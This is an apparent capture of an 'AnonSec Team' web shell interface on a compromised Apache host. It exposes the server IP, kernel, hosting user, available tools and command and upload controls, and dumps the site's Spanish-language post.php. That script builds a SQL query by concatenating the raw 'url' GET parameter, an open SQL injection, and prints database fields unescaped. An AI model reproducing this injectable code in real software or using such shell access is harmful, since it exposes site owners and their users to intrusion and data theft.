AnonSec Team
Server IP : 54.39.104.138  /  Your IP : 18.208.132.74
Web Server : Apache
System : Linux diez.serverpe.com 3.10.0-962.3.2.lve1.5.49.el7.x86_64 #1 SMP Thu Mar 4 05:39:46 EST 2021 x86_64
User : ftrmater ( 1414)
PHP Version : 7.2.34
Disable Function : passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home/ftrmater/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/ftrmater/public_html/post.php
<? 
include ('aplication/conexion.php');
include ('aplication/error-reporting.php');
$url_actual = "http://" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"];
$var1 = '?';
$var2 = '&';
$posicion = strrpos($url_actual, $var1);
if ($posicion === false) {$htaccess = '../';} else {$htaccess = '';}

 
if ($_GET['url']=='') {
	$urlPagina = '';
} else {
	$url = $_GET['url'];
	$slash   = '/';
	$pos = strpos($url, $slash);		
	if ($pos == false) {
		$urlPagina = $_GET['url'];
	} else {
		$urlPagina = substr($url, $pos+1);
		$idPagina = '';
	}		
}

$sqlPagina = "select * from eventos where url = '".$urlPagina."' and visible = 'Si'";
$resPagina = mysqli_query($conexion,$sqlPagina) or die (mysqli_error($conexion));
$resPagina;
$pagina=mysqli_fetch_array($resPagina);
$blog = mysqli_fetch_array($resPagina);

if ($urlPagina=='' or $pagina['url']=='') {
	echo '
	<script LANGUAGE="JavaScript">
		var pagina="'.$htaccess.'./"
		function redireccionar() {
			location.href=pagina
		} 
		setTimeout ("redireccionar()", 1);
	</script>';
} else {	
	
}

$pagPadre= 'actividades';
$pag = $urlPagina 
?>

<!DOCTYPE html>
<html lang="es">
	
<head>
	<!-- Meta Tags -->
	<? include('includes/post-meta-tags.php'); ?>

	<!-- Hojas de Estilo -->
	<link rel="stylesheet" href="<?=$htaccess?>css/bootstrap/bootstrap.min.css">
	<link rel="stylesheet" href="<?=$htaccess?>css/font-awesome.min.css">
	<link rel="stylesheet" href="<?=$htaccess?>css/animate.css">
	<link rel="stylesheet" href="<?=$htaccess?>css/main.css">
	<link rel="stylesheet" href="<?=$htaccess?>css/style.css">
	<link rel="stylesheet" href="<?=$htaccess?>css/color.css">
	<link rel="stylesheet" href="<?=$htaccess?>css/responsive.css">
	<link rel="stylesheet" href="<?=$htaccess?>css/transition.css">

	<!-- FontsOnline -->
	<link href='https://fonts.googleapis.com/css?family=Roboto:400,100,100italic,300,300italic,400italic,500,500italic,700,700italic' rel='stylesheet' type='text/css'>

	<!-- JavaScripts -->
	<script src="js/vendor/modernizr.js"></script>
	<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
	<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
	<!--[if lt IE 9]>
		<script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>
		<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
	<![endif]-->
</head>

<body>

	<!-- Wrapper -->
	<div class="wrapper push-wrapper">

		<!-- Header -->
		<header>
			
			<!-- LOGO Y MENÚ -->
			<? include('includes/logo-y-menu.php'); ?>
			<!-- /LOGO Y MENÚ -->

			<!-- Top Bar -->
			<? include('includes/top-bar.php'); ?>
			<!-- Top Bar -->

			<!-- TÍTULO DE LA PÁGINA -->
		    <div class="inner-banner dark-bg">
		    	<div class="container">
			    	<div class="inner-page-heading">
						<div class="main-heading style-2 h-white-shadow p-white-shadow position-center-x">
							<h2><?=$pagina['titulo']?></h2>
							<ul>
								<li><a href="<?=$htaccess?>./">Inicio</a></li>
								<li><a href="<?=$htaccess?>actualidad">Actualidad</a></li>
								<li><strong><?=$pagina['titulo']?></strong></li>
							</ul>
						</div>
			    	</div>
		    	</div>
		    </div>
			<!-- /TÍTULO DE LA PÁGINA -->

		</header>
		<!-- Header -->

		
		<!-- Blog Detail -->
		<div class="blog-detail-holder tc-padding">
			<div class="container">
				<div class="row">
					<div class="row"><br></div>
					<!-- ÁREA DE CONTENIDO -->
					<div class="col-lg-9 col-md-8 col-sm-7">
							<div class="single-blog-detail">

								<!-- Post Widget -->
								<div class="blog-column tc-hover">
									<?
									$fecNoticia = $pagina['fecha'];
									$mesTextAbrv = array("Enero","Febrero","Marzo","Abril","Mayo","Junio","Julio","Agosto","Septiembre","Octubre","Noviembre","Diciembre");
									$nDia = substr($fecNoticia, 8, 2);
									$nMes = substr($fecNoticia, 5, 2);
									$nAno = substr($fecNoticia, 0, 4);
									$mesAbrv = $mesTextAbrv[$nMes-1];
									echo '
									<img src="'.$htaccess.'images/blog/'.$pagina['imagen'].'" alt="'.$pagina['titulo'].'">
											
									<div class="blog-detail">
										<ul class="meta-post">
											<li><i class="fa fa-calendar"></i>'.$nDia.' de '.$mesAbrv.' de '.$nAno.'</li>
										</ul>
										<div style="min-height:60px;">
											<h3>'.$pagina['titulo'].'</h3>
										</div>
										<!-- ADDTHIS SHAREBAR -->
											<div style="margin-left:-2px; margin-top:-20px; margin-bottom:30px;">'; include("includes/addthis-sharebar.php"); echo '</div>
										<!-- /ADDTHIS SHAREBAR -->	
										
										<div style="margin-top:30px; font-weight:500; font-size:1.5em; line-height:1.3em">
											'.$pagina['descripcion'].'
										</div>
										
										<br>
										<div class="blog-detail-contenido">
											'.$pagina['contenido'].'
										</div>
										<div class="blog-detail-btm">
											<a class="btn blue sm" href="javascript:history.go(-1)">Atrás</a>
										</div>
										<a class="circle-btn" href="#"><i class="fa fa-newspaper-o"></i></a>
									</div>
									';
									?>
								</div>
								<!-- Post Widget -->

								

							</div>
						</div>
					<!-- /ÁREA DE CONTENIDO -->

					<!-- SIDEBAR -->
					<div class="col-lg-3 col-xs-12">
						<? include('includes/paginas-sidebar.php'); ?>
					</div>
					<!-- /SIDEBAR -->

					
				</div>
			</div>

		</main>
		<!-- Main Content -->
		
		<!-- Footer -->
		<? include('includes/footer.php'); ?>
		<!-- Footer -->

	</div>
	<!-- Wrapper -->

	<!-- SLIDE MENU -->
	<? include('includes/menu-slide-responsive.php'); ?>
	<!-- /SLIDE MENU -->

	<!-- back To Button -->
	<span id="scrollup" class="scrollup circle-btn"><i class="fa fa-angle-up"></i></span>
	<!-- back To Button -->

	<!-- Login Form -->
	<? include('includes/login-form.php'); ?>
	<!-- Login Form -->

	<!-- Java Script -->
	<script src="<?=$htaccess?>js/vendor/jquery.js"></script>        
	<script src="<?=$htaccess?>js/vendor/bootstrap.min.js"></script>
	<script src="<?=$htaccess?>js/jquery-ui.js"></script>		
	<script src="http://maps.google.com/maps/api/js?sensor=false"></script>
	<script src="<?=$htaccess?>js/gmap3.min.js"></script>					
	<script src="<?=$htaccess?>js/datepicker.js"></script>					
	<script src="<?=$htaccess?>js/contact-form.js"></script>					
	<script src="<?=$htaccess?>js/bigslide.js"></script>					
	<script src="<?=$htaccess?>js/parallax.js"></script>			   	 
	<script src="<?=$htaccess?>js/countdown.js"></script>	
	<script src="<?=$htaccess?>js/countTo.js"></script>		
	<script src="<?=$htaccess?>js/owl-carousel.js"></script>	
	<script src="<?=$htaccess?>js/bxslider.js"></script>	
	<script src="<?=$htaccess?>js/appear.js"></script>			 		
	<script src="<?=$htaccess?>js/prettyPhoto.js"></script>			
	<script src="<?=$htaccess?>js/isotope.pkgd.js"></script>			
	<script src="<?=$htaccess?>js/main.js"></script>	

</body>

</html>

AnonSec - 2021